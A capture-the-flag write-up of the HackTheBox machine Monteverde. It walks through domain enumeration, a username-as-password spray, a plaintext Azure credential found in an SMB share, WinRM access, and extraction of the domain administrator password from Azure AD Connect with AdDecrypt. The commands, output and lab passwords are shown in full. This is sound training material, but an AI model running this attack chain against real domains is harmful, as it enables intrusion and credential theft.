HackTheBox: Monteverde

HackTheBox: Monteverde

OS: Windows
Difficulty: Medium
Review: 4.4/5

Description:

Monteverde is a Medium Windows machine that features Azure AD Connect. The domain is enumerated and a user list is created. Through password spraying, the `SABatchJobs` service account is found to have the username as a password. Using this service account, it is possible to enumerate SMB Shares on the system, and the `$users` share is found to be world-readable. An XML file used for an Azure AD account is found within a user folder and contains a password. Due to password reuse, we can connect to the domain controller as `mhope` using WinRM. Enumeration shows that `Azure AD Connect` is installed. It is possible to extract the credentials for the account that replicates the directory changes to Azure (in this case the default domain administrator).

Quick note before we start: This box was completed a while ago, so some of the output and tactics I use below are not part of my current methodology. I've done my best to explain some of this, but please note that the screenshots and output are quite old.

External Enumeration:

I completed this box a while ago, so let's start with a good old NMAP:

┌──(kali㉿kali)-[~]
└─$ nmap 10.10.10.172 -T4 -A -p- -Pn
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-17 21:13 EDT
Nmap scan report for 10.10.10.172
Host is up (0.034s latency).
Not shown: 65516 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2023-04-18 01:14:59Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        .NET Message Framing
49667/tcp open  msrpc         Microsoft Windows RPC
49673/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49674/tcp open  msrpc         Microsoft Windows RPC
49676/tcp open  msrpc         Microsoft Windows RPC
49697/tcp open  msrpc         Microsoft Windows RPC
53601/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: MONTEVERDE; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: -4s
| smb2-time: 
|   date: 2023-04-18T01:15:52
|_  start_date: N/A
| smb2-security-mode: 
|   311: 
|_    Message signing enabled and required

Okay, let's think about this output and what it could mean:

  • SMB/RPC: This is likely Windows and might allow anonymous logins. We could use this for file transfers later.
  • DNS: This might be a Domain Controller.
  • Kerberos: This is definitely a DC. Can we Kerberoast or AS-REP Roast?
  • LDAP: Can we enumerate any objects?
  • WINRM: This will be useful for access and file transfers.

SMB/RPC Enumeration:

To get a quick check, we can use enum4linux:

┌──(kali㉿kali)-[~]
└─$ enum4linux -a 10.10.10.172         
...SNIP...                                                    
user:[Guest] rid:[0x1f5]
user:[AAD_987d7f2f57d2] rid:[0x450]
user:[mhope] rid:[0x641]
user:[SABatchJobs] rid:[0xa2a]
user:[svc-ata] rid:[0xa2b]
user:[svc-bexec] rid:[0xa2c]
user:[svc-netapp] rid:[0xa2d]
user:[dgalanos] rid:[0xa35]
user:[roleary] rid:[0xa36]
user:[smorgan] rid:[0xa37]


[+] Trying protocol 445/SMB...

[+] Found domain(s):

        [+] MEGABANK
        [+] Builtin

[+] Password Info for Domain: MEGABANK

        [+] Minimum password length: 7
        [+] Password history length: 24
        [+] Maximum password age: 41 days 23 hours 53 minutes 
        [+] Password Complexity Flags: 000000

                [+] Domain Refuse Password Change: 0
                [+] Domain Password Store Cleartext: 0
                [+] Domain Password Lockout Admins: 0
                [+] Domain Password No Clear Change: 0
                [+] Domain Password No Anon Change: 0
                [+] Domain Password Complex: 0

        [+] Minimum password age: 1 day 4 minutes 
        [+] Reset Account Lockout Counter: 30 minutes 
        [+] Locked Account Duration: 30 minutes 
        [+] Account Lockout Threshold: None
        [+] Forced Log off Time: Not Set

[+] Retieved partial password policy with rpcclient:                       
Password Complexity: Disabled         
Minimum Password Length: 7
                                                     
[+] Getting builtin groups:                                                
group:[Pre-Windows 2000 Compatible Access] rid:[0x22a]                     
group:[Incoming Forest Trust Builders] rid:[0x22d]
group:[Windows Authorization Access Group] rid:[0x230]
group:[Terminal Server License Servers] rid:[0x231]
group:[Users] rid:[0x221]
group:[Guests] rid:[0x222]
group:[Remote Desktop Users] rid:[0x22b]
group:[Network Configuration Operators] rid:[0x22c]
group:[Performance Monitor Users] rid:[0x22e]
group:[Performance Log Users] rid:[0x22f]
group:[Distributed COM Users] rid:[0x232]
group:[IIS_IUSRS] rid:[0x238]
group:[Cryptographic Operators] rid:[0x239]
group:[Event Log Readers] rid:[0x23d]
group:[Certificate Service DCOM Access] rid:[0x23e]
group:[RDS Remote Access Servers] rid:[0x23f]
group:[RDS Endpoint Servers] rid:[0x240]
group:[RDS Management Servers] rid:[0x241]
group:[Hyper-V Administrators] rid:[0x242]
group:[Access Control Assistance Operators] rid:[0x243]
group:[Remote Management Users] rid:[0x244]
group:[Storage Replica Administrators] rid:[0x246]                      

[+]  Getting local groups:                                                 
group:[Cert Publishers] rid:[0x205]                                        
group:[RAS and IAS Servers] rid:[0x229]
group:[Allowed RODC Password Replication Group] rid:[0x23b]
group:[Denied RODC Password Replication Group] rid:[0x23c]
group:[DnsAdmins] rid:[0x44d]
group:[SQLServer2005SQLBrowserUser$MONTEVERDE] rid:[0x44f]
group:[ADSyncAdmins] rid:[0x451]
group:[ADSyncOperators] rid:[0x452]
group:[ADSyncBrowse] rid:[0x453]
group:[ADSyncPasswordSet] rid:[0x454]

[+]  Getting local group memberships:
Group: ADSyncAdmins' (RID: 1105) has member: Couldn't lookup SIDs          

[+]  Getting domain groups:                                                
group:[Enterprise Read-only Domain Controllers] rid:[0x1f2]                
group:[Domain Users] rid:[0x201]
group:[Domain Guests] rid:[0x202]
group:[Domain Computers] rid:[0x203]
group:[Group Policy Creator Owners] rid:[0x208]
group:[Cloneable Domain Controllers] rid:[0x20a]
group:[Protected Users] rid:[0x20d]
group:[DnsUpdateProxy] rid:[0x44e]
group:[Azure Admins] rid:[0xa29]
group:[File Server Admins] rid:[0xa2e]
group:[Call Recording Admins] rid:[0xa2f]
group:[Reception] rid:[0xa30]
group:[Operations] rid:[0xa31]
group:[Trading] rid:[0xa32]
group:[HelpDesk] rid:[0xa33]
group:[Developers] rid:[0xa34]

[+]  Getting domain group memberships 
Group: 'Domain Users' (RID: 513) has member: MEGABANK\Administrator        
Group: 'Domain Users' (RID: 513) has member: MEGABANK\krbtgt
Group: 'Domain Users' (RID: 513) has member: MEGABANK\AAD_987d7f2f57d2
Group: 'Domain Users' (RID: 513) has member: MEGABANK\mhope
Group: 'Domain Users' (RID: 513) has member: MEGABANK\SABatchJobs
Group: 'Domain Users' (RID: 513) has member: MEGABANK\svc-ata
Group: 'Domain Users' (RID: 513) has member: MEGABANK\svc-bexec
Group: 'Domain Users' (RID: 513) has member: MEGABANK\svc-netapp
Group: 'Domain Users' (RID: 513) has member: MEGABANK\dgalanos
Group: 'Domain Users' (RID: 513) has member: MEGABANK\roleary
Group: 'Domain Users' (RID: 513) has member: MEGABANK\smorgan
Group: 'Operations' (RID: 2609) has member: MEGABANK\smorgan
Group: 'Domain Guests' (RID: 514) has member: MEGABANK\Guest
Group: 'Group Policy Creator Owners' (RID: 520) has member: MEGABANK\Administrator
Group: 'Trading' (RID: 2610) has member: MEGABANK\dgalanos
Group: 'Azure Admins' (RID: 2601) has member: MEGABANK\Administrator
Group: 'Azure Admins' (RID: 2601) has member: MEGABANK\AAD_987d7f2f57d2
Group: 'Azure Admins' (RID: 2601) has member: MEGABANK\mhope
Group: 'HelpDesk' (RID: 2611) has member: MEGABANK\roleary                                                                                      

Okay, we’ve got some user information and what looks like Azure AD, which might be an issue later. However, since we have a list of users, we can experiment with Kerberos.

Kerberos Enumeration:

We can take those users and put them in a text file to try AS-REP roasting:

┌──(kali㉿kali)-[~]
└─$ GetNPUsers.py MEGABANK.LOCAL/ -dc-ip 10.10.10.172 -usersfile 

[-] User mhope@MEGABANK.LOCAL doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User SABatchJobs@MEGABANK.LOCAL doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User svc-bexec@MEGABANK.LOCAL doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User svc-netapp@MEGABANK.LOCAL doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User svc-ata@MEGABANK.LOCAL doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User dgalanos@MEGABANK.LOCAL doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User smorgan@MEGABANK.LOCAL doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User smorgan doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User dgalanos doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User svc-ata doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User svc-netapp doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User svc-bexec doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User SABatchJobs doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User mhope doesn't have UF_DONT_REQUIRE_PREAUTH set

Well, that didn’t yield any progress. Let’s now try the classic method: using the password as the same as the username with a Kerbrute password spray.

┌──(kali㉿kali)-[~]
└─$ kerbrute passwordspray --dc 10.10.10.172 -d MEGABANK.local user.txt SABatchJobs

    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: dev (n/a) - 04/18/23 - Ronnie Flathers @ropnop

2023/04/18 22:14:04 >  Using KDC(s):
2023/04/18 22:14:04 >   10.10.10.172:88

2023/04/18 22:14:05 >  [+] VALID LOGIN:  SABatchJobs@MEGABANK.local:SABatchJobs
2023/04/18 22:14:05 >  [+] VALID LOGIN:  SABatchJobs@MEGABANK.local:SABatchJobs
2023/04/18 22:14:10 >  Done! Tested 14 logins (2 successes) in 5.141 seconds

NICE! Now we have some credentials to either gain a foothold or continue enumerating.


Credentialed enumeration:

┌──(kali㉿kali)-[~]
└─$ smbclient -L  \\\\10.10.10.172\\ -U SABatchJobs           
Password for [WORKGROUP\SABatchJobs]:

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        azure_uploads   Disk      
        C$              Disk      Default share
        E$              Disk      Default share
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share 
        SYSVOL          Disk      Logon server share 
        users$          Disk      

We can enumerate these shares further; however, the only item of note was an Azure.xml file within MHopes' user folder.

smb: \mhope\> ls
  .                                   D        0  Fri Jan  3 08:41:18 2020
  ..                                  D        0  Fri Jan  3 08:41:18 2020
  azure.xml                          AR     1212  Fri Jan  3 08:40:23 2020

Once we download this file, we can review its contents to see if any new credentials are present:

<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
  <Obj RefId="0">
    <TN RefId="0">
      <T>Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential</T>
      <T>System.Object</T>
    </TN>
    <ToString>Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential</ToString>
    <Props>
      <DT N="StartDate">2020-01-03T05:35:00.7562298-08:00</DT>
      <DT N="EndDate">2054-01-03T05:35:00.7562298-08:00</DT>
      <G N="KeyId">00000000-0000-0000-0000-000000000000</G>
      <S N="Password">4n0therD4y@n0th3r$</S>
    </Props>
  </Obj>
</Objs>

Okay, we see a password, which, if we think logically, might belong to mhope.


Initial access:

Using the credentials found earlier, we gain WINRM access with mhope:4n0therD4y@n0th3r$

┌──(kali㉿kali)-[~]
└─$ evil-winrm -i 10.10.10.172 -u mhope -p '4n0therD4y@n0th3r$'
...snip...
*Evil-WinRM* PS C:\Users\mhope\Documents> 

Low level enumeration:

I won’t lie, I got super lost after enumerating for hours without finding a clear path. Then, I remembered Azure, which led me to ask Uncle Google for help. That search led me to a great blog post and a tool we can use.

https://vbscrub.com/2020/01/14/azure-ad-connect-database-exploit-priv-esc/

Releases · VbScrub/AdSyncDecrypt
Contribute to VbScrub/AdSyncDecrypt development by creating an account on GitHub.

Privilege Escalation:

According to the blog post, we need both the executable and the DLL on disk, which we can transfer via WINRM.

*Evil-WinRM* PS C:\Program Files\Microsoft Azure AD Sync\Bin> upload AdDecrypt.exe
Info: Uploading AdDecrypt.exe to C:\Program Files\Microsoft Azure AD Sync\Bin\AdDecrypt.exe

                                                             
Data: 19796 bytes of 19796 bytes copied

Info: Upload successful!

*Evil-WinRM* PS C:\Program Files\Microsoft Azure AD Sync\Bin> upload mcrypt.dll
Info: Uploading mcrypt.dll to C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll

                                                             
Data: 445664 bytes of 445664 bytes copied

Info: Upload successful!

Now that we have the items on disk, we can execute this exploit in the hopes of gaining more credentials.

*Evil-WinRM* PS C:\Program Files\Microsoft Azure AD Sync\Bin> C:\windows\temp\AdDecrypt.exe -FullSQL

======================
AZURE AD SYNC CREDENTIAL DECRYPTION TOOL
Based on original code from: https://github.com/fox-it/adconnectdump
======================

Opening database connection...
Executing SQL commands...
Closing database connection...
Decrypting XML...
Parsing XML...
Finished!

DECRYPTED CREDENTIALS:
Username: administrator
Password: d0m@in4dminyeah!
Domain: MEGABANK.LOCAL

WHOOHOO! We got the admin credential. But let’s verify if the credential still works.

──(kali㉿kali)-[~/Downloads]
└─$ evil-winrm -i 10.10.10.172 -u administrator -p 'd0m@in4dminyeah!'

...snip...

*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami 
megabank\administrator
📚
The information within this article is intended solely for educational purposes. It is crucial that the techniques and methodologies discussed should only be used for educational and ethical purposes. They should never be leveraged in a manner that could cause unlawful harm or infringe upon the rights, security, or privacy of others. It is essential for anyone engaging with this content to approach it with a mindset of learning and understanding, ensuring that knowledge gained is used responsibly and ethically.